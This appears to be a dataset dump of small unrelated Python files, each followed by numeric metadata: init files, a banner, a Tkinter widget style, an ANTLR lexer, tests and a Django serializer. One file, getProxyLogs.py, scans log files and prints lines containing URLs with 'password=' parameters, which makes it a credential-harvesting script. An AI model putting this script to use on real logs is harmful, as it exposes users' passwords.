75fd44041ea8cb4cfe283fa5452443dbaaa4d732
|
[
"MIT"
] | null | null | null |
from moz_books.exception.invalid_response_error import ( # noqa F401
InvalidResponseError,
)
from moz_books.exception.invalid_search_params_error import ( # noqa F401
InvalidSearchParamsError,
)
from moz_books.exception.not_found_env_value_error import ( # noqa F401
NotFoundEnvValueError,
)
| 30.7
| 74
| 0.80456
| 36
| 307
| 6.527778
| 0.527778
| 0.089362
| 0.153191
| 0.268085
| 0.238298
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033962
| 0.136808
| 307
| 9
| 75
| 34.111111
| 0.85283
| 0.094463
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f7660dbdc503861a66754bdc83bbbe1088670c6d
| 66
|
py
|
Python
|
__init__.py
|
justinnhli/send_gmail
|
04f9f5cd0270c2f2b873e890ea5e40cc76605e7f
|
[
"Apache-2.0"
] | null | null | null |
__init__.py
|
justinnhli/send_gmail
|
04f9f5cd0270c2f2b873e890ea5e40cc76605e7f
|
[
"Apache-2.0"
] | null | null | null |
__init__.py
|
justinnhli/send_gmail
|
04f9f5cd0270c2f2b873e890ea5e40cc76605e7f
|
[
"Apache-2.0"
] | null | null | null |
from .send_gmail import jinja_render, markdown_render, send_email
| 33
| 65
| 0.863636
| 10
| 66
| 5.3
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 66
| 1
| 66
| 66
| 0.883333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f78d6ff44af8ee273705c3b64bf96f2c021bc4b9
| 122
|
py
|
Python
|
taskmanager/gunicorn_app.py
|
acostapazo/event-manager
|
614c91af19fad39f766ffa1b9a3d1e783f06c72e
|
[
"MIT"
] | null | null | null |
taskmanager/gunicorn_app.py
|
acostapazo/event-manager
|
614c91af19fad39f766ffa1b9a3d1e783f06c72e
|
[
"MIT"
] | 1
|
2020-04-20T11:20:22.000Z
|
2020-04-20T11:20:22.000Z
|
taskmanager/gunicorn_app.py
|
acostapazo/event-manager
|
614c91af19fad39f766ffa1b9a3d1e783f06c72e
|
[
"MIT"
] | null | null | null |
from taskmanager import petisco_setup
from petisco import Petisco
petisco_setup()
app = Petisco.get_instance().get_app()
| 20.333333
| 38
| 0.819672
| 17
| 122
| 5.647059
| 0.470588
| 0.270833
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106557
| 122
| 5
| 39
| 24.4
| 0.880734
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
e3abad392b1984ab73f4cb74be936065cfc5eab8
| 506
|
py
|
Python
|
getProxyLogs.py
|
r00tarded/Scavenger
|
b64d22f7c702c3c1cce67d366f6ef98f29605b53
|
[
"Apache-2.0"
] | 1
|
2018-03-24T10:09:47.000Z
|
2018-03-24T10:09:47.000Z
|
getProxyLogs.py
|
r00tarded/Scavenger
|
b64d22f7c702c3c1cce67d366f6ef98f29605b53
|
[
"Apache-2.0"
] | null | null | null |
getProxyLogs.py
|
r00tarded/Scavenger
|
b64d22f7c702c3c1cce67d366f6ef98f29605b53
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python
import os
import sys
files = os.listdir(sys.argv[1])
combinations = set()
count = 1
for fi in files:
with open(sys.argv[1] + fi) as f:
content = f.readlines()
for line in content:
if ("http://" in line or "https://" in line) and "password=" in line and "<" not in line and ">" not in line and "[" not in line and "]" not in line and "#EXT" not in line and " " not in line:
combinations.add(line.strip())
for comb in combinations:
print str(count) + ".) " + comb
count += 1
| 25.3
| 194
| 0.63834
| 87
| 506
| 3.712644
| 0.413793
| 0.167183
| 0.195046
| 0.185759
| 0.241486
| 0.241486
| 0.241486
| 0.176471
| 0.176471
| 0.176471
| 0
| 0.00995
| 0.205534
| 506
| 19
| 195
| 26.631579
| 0.793532
| 0.031621
| 0
| 0
| 0
| 0
| 0.07362
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.071429
| 0.142857
| null | null | 0.071429
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
e3bb1eca3d77af54b37b360ae4afcb8cb5603219
| 490
|
py
|
Python
|
logo.py
|
Background-Sajjad/Em-Bomber
|
faa45b4f12fa54bcad68f7ed258fa25fef9963e8
|
[
"MIT"
] | null | null | null |
logo.py
|
Background-Sajjad/Em-Bomber
|
faa45b4f12fa54bcad68f7ed258fa25fef9963e8
|
[
"MIT"
] | null | null | null |
logo.py
|
Background-Sajjad/Em-Bomber
|
faa45b4f12fa54bcad68f7ed258fa25fef9963e8
|
[
"MIT"
] | null | null | null |
#Banar for Em-Bomber
def logo():
return ("""\033[1;92m
___ ___ _
| __>._ _ _ ___ | . > ___ ._ _ _ | |_ ___ _ _
| _> | ' ' ||___|| . \/ . \| ' ' || . \/ ._>| '_>
|___>|_|_|_| |___/\___/|_|_|_||___/\___.|_|
\033[0;0m
\033[1;0;101m Coded by Sajjad
\033[0;0m
\033[1;90;107m github: https://www.github.com/Background-Sajjad \033[1;0;0m
""")
if __name__=="__main__":
print(logo())
| 32.666667
| 78
| 0.42449
| 43
| 490
| 3.372093
| 0.627907
| 0.110345
| 0.082759
| 0.124138
| 0.137931
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12381
| 0.357143
| 490
| 15
| 79
| 32.666667
| 0.336508
| 0.038776
| 0
| 0.153846
| 0
| 0.307692
| 0.85138
| 0.063694
| 0
| 0
| 0
| 0
| 0
| 1
| 0.076923
| true
| 0
| 0
| 0.076923
| 0.153846
| 0.076923
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
540e291e02dea9d2e9ef65803b5fef0a8fec021b
| 221
|
py
|
Python
|
python/ios/models/__init__.py
|
mit-han-lab/inter-operator-scheduler
|
91963c06051c58c7b92e8ec57a5a98788b5f4c01
|
[
"MIT"
] | 140
|
2020-11-04T14:24:15.000Z
|
2022-03-30T07:31:48.000Z
|
python/ios/models/__init__.py
|
mit-han-lab/inter-operator-scheduler
|
91963c06051c58c7b92e8ec57a5a98788b5f4c01
|
[
"MIT"
] | 8
|
2020-11-10T06:55:12.000Z
|
2022-03-25T09:13:31.000Z
|
python/ios/models/__init__.py
|
mit-han-lab/inter-operator-scheduler
|
91963c06051c58c7b92e8ec57a5a98788b5f4c01
|
[
"MIT"
] | 21
|
2020-11-04T12:55:34.000Z
|
2022-03-08T02:17:24.000Z
|
from .inception_v3 import inception_v3
from .randwire import randwire_large
from .squeezenet import squeezenet
from .nasnet import nasnet_large
from .vgg import vgg_11, vgg_13, vgg_16, vgg_19
from .alexnet import alexnet
| 31.571429
| 47
| 0.837104
| 35
| 221
| 5.057143
| 0.4
| 0.124294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.051546
| 0.122172
| 221
| 6
| 48
| 36.833333
| 0.860825
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| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
54149df1f8d3ec4fa6ebadbf1d7ae6c555b146fb
| 23
|
py
|
Python
|
sklego/__init__.py
|
MarkusDegen/scikit-lego
|
5a080f4ee4f0e21d8bfadf663f650b977fad4a25
|
[
"MIT"
] | 142
|
2019-11-25T15:13:14.000Z
|
2022-03-25T23:31:06.000Z
|
diana/classes/goatools/version.py
|
quimaguirre/diana
|
930da0ea91ad87e354061af18db6c437a3318366
|
[
"MIT"
] | 65
|
2020-07-07T07:48:58.000Z
|
2022-03-18T14:53:27.000Z
|
diana/classes/goatools/version.py
|
quimaguirre/diana
|
930da0ea91ad87e354061af18db6c437a3318366
|
[
"MIT"
] | 39
|
2019-11-25T15:13:15.000Z
|
2022-03-18T16:35:36.000Z
|
__version__ = "0.6.10"
| 11.5
| 22
| 0.652174
| 4
| 23
| 2.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0.130435
| 23
| 1
| 23
| 23
| 0.35
| 0
| 0
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| 0
| 0
| 0.26087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
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| 1
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| 1
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
54213d5feee1e681dba0f2e0550e12c44ccc7a85
| 79
|
py
|
Python
|
python/testData/copyPaste/NonRectangleTopLevel.src.py
|
jnthn/intellij-community
|
8fa7c8a3ace62400c838e0d5926a7be106aa8557
|
[
"Apache-2.0"
] | 2
|
2019-04-28T07:48:50.000Z
|
2020-12-11T14:18:08.000Z
|
python/testData/copyPaste/NonRectangleTopLevel.src.py
|
Cyril-lamirand/intellij-community
|
60ab6c61b82fc761dd68363eca7d9d69663cfa39
|
[
"Apache-2.0"
] | 173
|
2018-07-05T13:59:39.000Z
|
2018-08-09T01:12:03.000Z
|
python/testData/copyPaste/NonRectangleTopLevel.src.py
|
Cyril-lamirand/intellij-community
|
60ab6c61b82fc761dd68363eca7d9d69663cfa39
|
[
"Apache-2.0"
] | 2
|
2020-03-15T08:57:37.000Z
|
2020-04-07T04:48:14.000Z
|
c = 1
class A(object):
<selection>def foo(self):
pass</selection>
| 13.166667
| 29
| 0.582278
| 11
| 79
| 4.181818
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.017241
| 0.265823
| 79
| 5
| 30
| 15.8
| 0.775862
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.25
| 0
| null | null | 0
| 1
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| null | 0
| 0
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| 0
| 0
| 0
|
0
| 4
|
580a51c4d67097238f8395e1f64d23b7102f9236
| 3,919
|
py
|
Python
|
nvpy/search_entry.py
|
anrosent/nvpy
|
d1c926cbf1f02048d7d610f8f5e6b88d030b4bc1
|
[
"BSD-3-Clause"
] | 117
|
2015-02-14T14:35:49.000Z
|
2022-03-02T01:46:23.000Z
|
nvpy/search_entry.py
|
anrosent/nvpy
|
d1c926cbf1f02048d7d610f8f5e6b88d030b4bc1
|
[
"BSD-3-Clause"
] | 4
|
2019-03-28T23:51:42.000Z
|
2022-02-23T08:45:25.000Z
|
nvpy/search_entry.py
|
anrosent/nvpy
|
d1c926cbf1f02048d7d610f8f5e6b88d030b4bc1
|
[
"BSD-3-Clause"
] | 23
|
2015-11-28T01:49:27.000Z
|
2021-12-13T16:17:54.000Z
|
# pretty style for entry widget, adapted from
# http://python-ttk.googlecode.com/svn/trunk/pyttk-samples/mac_searchentry.py
"""Mac style search widget
Translated from Tcl code by Schelte Bron, http://wiki.tcl.tk/18188"""
try:
import Tkinter
except ImportError:
import tkinter as Tkinter
import ttk
data = """
R0lGODlhKgAaAOfnAFdZVllbWFpcWVtdWlxeW11fXF9hXmBiX2ZnZWhpZ2lraGxua25wbXJ0
cXR2c3V3dHZ4dXh6d3x+e31/fH6AfYSGg4eJhoiKh4qMiYuNio2PjHmUqnqVq3yXrZGTkJKU
kX+asJSWk32cuJWXlIGcs5aYlX6euZeZloOetZial4SftpqbmIWgt4GhvYahuIKivpudmYei
uYOjv5yem4ijuoSkwIWlwYmlu56gnYamwp+hnoenw4unvaCin4ioxJCnuZykrImpxZmlsoaq
zI2pv6KkoZGouoqqxpqms4erzaOloo6qwYurx5Kqu5untIiszqSmo5CrwoysyJeqtpOrvJyo
tZGsw42typSsvaaopZKtxJWtvp6qt4+uy6epppOuxZCvzKiqp5quuZSvxoyx06mrqJWwx42y
1JKxzpmwwaqsqZaxyI6z1ZqxwqutqpOzz4+01qyuq56yvpizypS00Jm0y5W10Zq1zJa20rCy
rpu3zqizwbGzr6C3yZy4z7K0saG4yp250LO1sqK5y5660Z+70qO7zKy4xaC806S8zba4taG9
1KW9zq66x6+7yLi6t6S/1rC8yrm7uLO8xLG9y7q8ubS9xabB2anB07K+zLW+xrO/za7CzrTA
zrjAyLXBz77BvbbC0K/G2LjD0bnE0rLK28TGw8bIxcLL07vP28HN28rMycvOyr/T38DU4cnR
2s/RztHT0NLU0cTY5MrW5MvX5dHX2c3Z59bY1dPb5Nbb3dLe7Nvd2t3f3NXh797g3d3j5dnl
9OPl4eTm4+Ln6tzo9uXn5Obo5eDp8efp5uHq8uXq7ejq5+nr6OPs9Ovu6unu8O3v6+vw8+7w
7ezx9O/x7vDy7/Hz8O/19/P18vT38/L3+fb49Pf59vX6/fj69/b7/vn7+Pr8+ff9//v9+vz/
+/7//P//////////////////////////////////////////////////////////////////
/////////////////////////////////yH/C05FVFNDQVBFMi4wAwEAAAAh+QQJZAD/ACwC
AAIAKAAWAAAI/gD/CRz4bwUGCg8eQFjIsGHDBw4iTLAQgqBFgisuePCiyJOpUyBDihRpypMi
Lx8qaLhIMIyGFZ5sAUsmjZrNmzhzWpO2DJgtTysqfGDpxoMbW8ekeQsXzty4p1CjRjUXrps3
asJsuclQ4uKKSbamMR3n1JzZs2jRkh1HzuxVXX8y4CDYAwqua+DInVrRwMGJU2kDp31KThy1
XGWGDlxhi1rTPAUICBBAoEAesoIzn6Vm68MKgVAUHftmzhOCBCtQwQKSoABgzZnJdSMmyIPA
FbCotdUQAIhNa9B6DPCAGbZac+SowVIMRVe4pwkA4GpqDlwuAAmMZx4nTtfnf1mO5JEDNy46
MHJkxQEDgKC49rPjwC0bqGaZuOoZAKjBPE4NgAzUvYcWOc0QZF91imAnCDHJ5JFAAJN0I2Ba
4iRDUC/gOEVNDwIUcEABCAgAAATUTIgWOMBYRFp80ghiAQIIVAAEAwJIYI2JZnUji0XSYAYO
NcsQA8wy0hCTwAASXGOiONFcxAtpTokTHznfiLMNMAkcAMuE43jDC0vLeGOWe2R5o4sn1LgH
GzkWsvTPMgEOaA433Ag4TjjMuDkQMNi0tZ12sqWoJ0HATMPNffAZZ6U0wLAyqJ62RGoLLrhI
aqmlpzwaEAAh+QQJZAD/ACwAAAAAKgAaAAAI/gD/CRw40JEhQoEC+fGjcOHCMRAjRkxDsKLF
f5YcAcID582ZjyBDJhmZZIjJIUySEDHiBMhFghrtdNnRAgSHmzhz6sTZQcSLITx+CHn5bxSk
Nz5MCMGy55CjTVCjbuJEtSrVQ3uwqDBRQwrFi476SHHxow8qXcemVbPGtm21t3CnTaP27Jgu
VHtuiIjBsuImQkRiiEEFTNo2cOTMKV7MuLE5cN68QUOGSgwKG1EqJqJDY8+rZt8UjxtNunTj
cY3DgZOWS46KIFgGjiI0ZIsqaqNNjWjgYMUpx8Adc3v2aosNMAI1DbqyI9WycOb4IAggQEAB
A3lQBxet/TG4cMpI/tHwYeSfIzxM0uTKNs7UgAQrYL1akaDA7+3bueVqY4NJlUhIcQLNYx8E
AIQ01mwjTQ8DeNAdfouNA8440GBCQxJY3MEGD6p4Y844CQCAizcSgpMLAAlAuJ03qOyQRBR3
nEHEK+BMGKIui4kDDAAIPKiiYuSYSMQQRCDCxhiziPMYBgDkEaEaAGQA3Y+MjUPOLFoMoUUh
cKxRC4ngeILiH8Qkk0cCAUzSDZWpzbLEE1EwggcYqWCj2DNADFDAAQUgIAAAEFDDJmPYqNJF
F1s4cscTmCDjDTjdSPOHBQggUAEQDAgggTWDPoYMJkFoUdRmddyyjWLeULMMMcAsIw0x4wkM
IME1g25zyxpHxFYUHmyIggw4H4ojITnfiLMNMAkcAAub4BQjihRdDGTJHmvc4Qo1wD6Imje6
eILbj+BQ4wqu5Q3ECSJ0FOKKMtv4mBg33Pw4zjbKuBIIE1xYpIkhdQQiyi7OtAucj6dt48wu
otQhBRa6VvSJIRwhIkotvgRTzMUYZ6xxMcj4QkspeKDxxRhEmUfIHWjAgQcijEDissuXvCyz
zH7Q8YQURxDhUsn/bCInR3AELfTQZBRt9BBJkCGFFVhMwTNBlnBCSCGEIJQQIAklZMXWRBAR
RRRWENHwRQEBADs="""
def make_style():
# need to keep bindings for s1 and s2 around, else the get eaten by GC
global s1, s2
s1 = Tkinter.PhotoImage("search1", data=data, format="gif -index 0")
s2 = Tkinter.PhotoImage("search2", data=data, format="gif -index 1")
style = ttk.Style()
style.element_create("Search.field", "image", "search1",
("focus", "search2"), border=[22, 7, 14], sticky="ew")
style.layout("Search.entry", [
("Search.field", {"sticky": "nswe", "border": 1, "children":
[("Entry.padding", {"sticky": "nswe", "children":
[("Entry.textarea", {"sticky": "nswe"})]
})]
})]
)
#style.configure("Search.entry", background="#b2b2b2")
| 50.896104
| 78
| 0.827507
| 226
| 3,919
| 14.336283
| 0.752212
| 0.009259
| 0.008642
| 0.010494
| 0.01358
| 0
| 0
| 0
| 0
| 0
| 0
| 0.112786
| 0.085991
| 3,919
| 76
| 79
| 51.565789
| 0.791736
| 0.084971
| 0
| 0.033898
| 0
| 0.016949
| 0.848571
| 0.781714
| 0
| 1
| 0
| 0
| 0
| 1
| 0.016949
| false
| 0
| 0.067797
| 0
| 0.084746
| 0
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| 0
| 1
| null | 0
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| 0
| 0
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| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
583ef420e9654d09787c80806f6c5ebb6fd7f79d
| 204
|
py
|
Python
|
aula#07/exe002.py
|
Hillary-Santos/Curso-de-Algoritmos-em-Python
|
0783caa0488aae7c754c92a946e2d41520a0ba26
|
[
"MIT"
] | null | null | null |
aula#07/exe002.py
|
Hillary-Santos/Curso-de-Algoritmos-em-Python
|
0783caa0488aae7c754c92a946e2d41520a0ba26
|
[
"MIT"
] | null | null | null |
aula#07/exe002.py
|
Hillary-Santos/Curso-de-Algoritmos-em-Python
|
0783caa0488aae7c754c92a946e2d41520a0ba26
|
[
"MIT"
] | null | null | null |
num = input('Digite um número: ')
num = int(num)
# se for verdade faça:
if num % 2 == 0:
print(f'O número {num} é PAR!')
# se não for verdade faça:
else:
print(f'O número {num} é IMPAR!')
| 22.666667
| 37
| 0.583333
| 36
| 204
| 3.305556
| 0.583333
| 0.226891
| 0.235294
| 0.218487
| 0.285714
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0.013245
| 0.259804
| 204
| 9
| 37
| 22.666667
| 0.774834
| 0.220588
| 0
| 0
| 0
| 0
| 0.416107
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5867f17ebb0f95e50558fe7c42ee9205d51b0e3c
| 3,144
|
py
|
Python
|
solving/bnf_parser/BNFLexer.py
|
dizys/nyu-ai-lab-2
|
22f471c6359b3af914e583021a422fcddd7c40b6
|
[
"MIT"
] | null | null | null |
solving/bnf_parser/BNFLexer.py
|
dizys/nyu-ai-lab-2
|
22f471c6359b3af914e583021a422fcddd7c40b6
|
[
"MIT"
] | null | null | null |
solving/bnf_parser/BNFLexer.py
|
dizys/nyu-ai-lab-2
|
22f471c6359b3af914e583021a422fcddd7c40b6
|
[
"MIT"
] | null | null | null |
# Generated from BNF.g4 by ANTLR 4.9
from antlr4 import *
from io import StringIO
from typing import TextIO
import sys
def serializedATN():
with StringIO() as buf:
buf.write("\3\u608b\ua72a\u8133\ub9ed\u417c\u3be7\u7786\u5964\2\r")
buf.write(">\b\1\4\2\t\2\4\3\t\3\4\4\t\4\4\5\t\5\4\6\t\6\4\7\t\7")
buf.write("\4\b\t\b\4\t\t\t\4\n\t\n\4\13\t\13\4\f\t\f\3\2\3\2\3\3")
buf.write("\3\3\3\4\3\4\3\5\3\5\3\6\3\6\3\7\3\7\3\7\3\7\5\7(\n\7")
buf.write("\3\b\3\b\3\b\5\b-\n\b\3\t\6\t\60\n\t\r\t\16\t\61\3\n\3")
buf.write("\n\3\13\6\13\67\n\13\r\13\16\138\3\13\3\13\3\f\3\f\2\2")
buf.write("\r\3\3\5\4\7\5\t\6\13\7\r\b\17\t\21\n\23\13\25\f\27\r")
buf.write("\3\2\7\5\2((``\u2229\u2229\4\2~~\u222a\u222a\4\2##\u00ae")
buf.write("\u00ae\6\2\62;C\\aac|\4\2\13\13\"\"\2A\2\3\3\2\2\2\2\5")
buf.write("\3\2\2\2\2\7\3\2\2\2\2\t\3\2\2\2\2\13\3\2\2\2\2\r\3\2")
buf.write("\2\2\2\17\3\2\2\2\2\21\3\2\2\2\2\23\3\2\2\2\2\25\3\2\2")
buf.write("\2\2\27\3\2\2\2\3\31\3\2\2\2\5\33\3\2\2\2\7\35\3\2\2\2")
buf.write("\t\37\3\2\2\2\13!\3\2\2\2\r\'\3\2\2\2\17,\3\2\2\2\21/")
buf.write("\3\2\2\2\23\63\3\2\2\2\25\66\3\2\2\2\27<\3\2\2\2\31\32")
buf.write("\7*\2\2\32\4\3\2\2\2\33\34\7+\2\2\34\6\3\2\2\2\35\36\t")
buf.write("\2\2\2\36\b\3\2\2\2\37 \t\3\2\2 \n\3\2\2\2!\"\t\4\2\2")
buf.write("\"\f\3\2\2\2#$\7>\2\2$%\7?\2\2%(\7@\2\2&(\7\u21d6\2\2")
buf.write("\'#\3\2\2\2\'&\3\2\2\2(\16\3\2\2\2)*\7?\2\2*-\7@\2\2+")
buf.write("-\7\u21d4\2\2,)\3\2\2\2,+\3\2\2\2-\20\3\2\2\2.\60\t\5")
buf.write("\2\2/.\3\2\2\2\60\61\3\2\2\2\61/\3\2\2\2\61\62\3\2\2\2")
buf.write("\62\22\3\2\2\2\63\64\7\f\2\2\64\24\3\2\2\2\65\67\t\6\2")
buf.write("\2\66\65\3\2\2\2\678\3\2\2\28\66\3\2\2\289\3\2\2\29:\3")
buf.write("\2\2\2:;\b\13\2\2;\26\3\2\2\2<=\13\2\2\2=\30\3\2\2\2\7")
buf.write("\2\',\618\3\b\2\2")
return buf.getvalue()
class BNFLexer(Lexer):
atn = ATNDeserializer().deserialize(serializedATN())
decisionsToDFA = [DFA(ds, i) for i, ds in enumerate(atn.decisionToState)]
LEFT_PAREN = 1
RIGHT_PAREN = 2
AND = 3
OR = 4
NOT = 5
IFF = 6
IMPLIES = 7
ATOM = 8
NL = 9
WS = 10
ErrorCharacter = 11
channelNames = [u"DEFAULT_TOKEN_CHANNEL", u"HIDDEN"]
modeNames = ["DEFAULT_MODE"]
literalNames = ["<INVALID>",
"'('", "')'", "'\n'"]
symbolicNames = ["<INVALID>",
"LEFT_PAREN", "RIGHT_PAREN", "AND", "OR", "NOT", "IFF", "IMPLIES",
"ATOM", "NL", "WS", "ErrorCharacter"]
ruleNames = ["LEFT_PAREN", "RIGHT_PAREN", "AND", "OR", "NOT", "IFF",
"IMPLIES", "ATOM", "NL", "WS", "ErrorCharacter"]
grammarFileName = "BNF.g4"
def __init__(self, input=None, output: TextIO = sys.stdout):
super().__init__(input, output)
self.checkVersion("4.9")
self._interp = LexerATNSimulator(
self, self.atn, self.decisionsToDFA, PredictionContextCache())
self._actions = None
self._predicates = None
| 40.307692
| 87
| 0.522265
| 709
| 3,144
| 2.287729
| 0.19464
| 0.144266
| 0.096178
| 0.098644
| 0.24106
| 0.18619
| 0.12947
| 0.119605
| 0.087546
| 0.08508
| 0
| 0.228112
| 0.189886
| 3,144
| 77
| 88
| 40.831169
| 0.408716
| 0.010814
| 0
| 0
| 1
| 0.370968
| 0.445946
| 0.370013
| 0
| 0
| 0
| 0
| 0
| 1
| 0.032258
| false
| 0
| 0.064516
| 0
| 0.435484
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5868495002f0570789fef74c196eee5f799ca527
| 1,618
|
py
|
Python
|
tests/test_utils.py
|
martinRenou/robotkernel
|
827435dbaa5a201db4640f92ac2c4a7ead8f50cd
|
[
"BSD-3-Clause"
] | 56
|
2019-01-19T22:46:34.000Z
|
2022-03-03T07:28:19.000Z
|
tests/test_utils.py
|
martinRenou/robotkernel
|
827435dbaa5a201db4640f92ac2c4a7ead8f50cd
|
[
"BSD-3-Clause"
] | 42
|
2019-01-09T18:16:32.000Z
|
2022-03-29T20:18:41.000Z
|
tests/test_utils.py
|
admariner/robotkernel
|
6b0c3334a4aeb3f7e4f735613cf6be04cd950fd6
|
[
"BSD-3-Clause"
] | 9
|
2019-01-25T03:54:49.000Z
|
2021-12-05T11:20:59.000Z
|
# -*- coding: utf-8 -*-
from robotkernel.utils import detect_robot_context
def test_detect_robot_context_root():
assert detect_robot_context("", -1) == "__root__"
assert (
detect_robot_context(
"""\
*** Variables ***
""",
-1,
)
== "__root__"
)
assert (
detect_robot_context(
"""\
*** Settings ***
*** Variables ***
""",
-1,
)
== "__root__"
)
def test_detect_robot_context_settings():
assert (
detect_robot_context(
"""\
*** Settings ***
""",
-1,
)
== "__settings__"
)
assert (
detect_robot_context(
"""\
*** Settings ***
*** Tasks ***
""",
len("*** Settings ***"),
)
== "__settings__"
)
def test_detect_robot_context_tasks():
assert (
detect_robot_context(
"""\
*** Test Cases ***
This is a test case
With a keyword and param
""",
-1,
)
== "__tasks__"
)
assert (
detect_robot_context(
"""\
*** Settings ***
*** Test Cases ***
This is a test case
With a keyword and param
""",
-1,
)
== "__tasks__"
)
assert (
detect_robot_context(
"""\
*** Settings ***
*** Tasks ***
This is a task
With a keyword and param
""",
-1,
)
== "__tasks__"
)
#
# def test_detect_robot_context_keywords():
# assert detect_robot_context(
# """\
# *** Keywords ***
# """, -1
# ) == '__keywords__'
| 16.510204
| 53
| 0.45241
| 132
| 1,618
| 5
| 0.227273
| 0.233333
| 0.381818
| 0.327273
| 0.762121
| 0.512121
| 0.287879
| 0.248485
| 0.248485
| 0.248485
| 0
| 0.009063
| 0.386279
| 1,618
| 97
| 54
| 16.680412
| 0.655589
| 0.097651
| 0
| 0.5
| 0
| 0
| 0.086749
| 0
| 0
| 0
| 0
| 0
| 0.148148
| 1
| 0.055556
| true
| 0
| 0.018519
| 0
| 0.074074
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
587f3a26d62d17989a7ef9fbe59c7070da567b08
| 195
|
py
|
Python
|
devices/serializers.py
|
belatrix/BelatrixEventsBackend
|
eb38574bba0ca0269b17d0be938cc46787c21895
|
[
"MIT"
] | null | null | null |
devices/serializers.py
|
belatrix/BelatrixEventsBackend
|
eb38574bba0ca0269b17d0be938cc46787c21895
|
[
"MIT"
] | 25
|
2018-03-23T16:39:51.000Z
|
2018-05-19T17:28:42.000Z
|
devices/serializers.py
|
belatrix/BelatrixEventsBackend
|
eb38574bba0ca0269b17d0be938cc46787c21895
|
[
"MIT"
] | null | null | null |
from rest_framework import serializers
from .models import Device
class DeviceSerializer(serializers.ModelSerializer):
class Meta(object):
model = Device
fields = '__all__'
| 21.666667
| 52
| 0.733333
| 20
| 195
| 6.9
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.205128
| 195
| 8
| 53
| 24.375
| 0.890323
| 0
| 0
| 0
| 0
| 0
| 0.035897
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
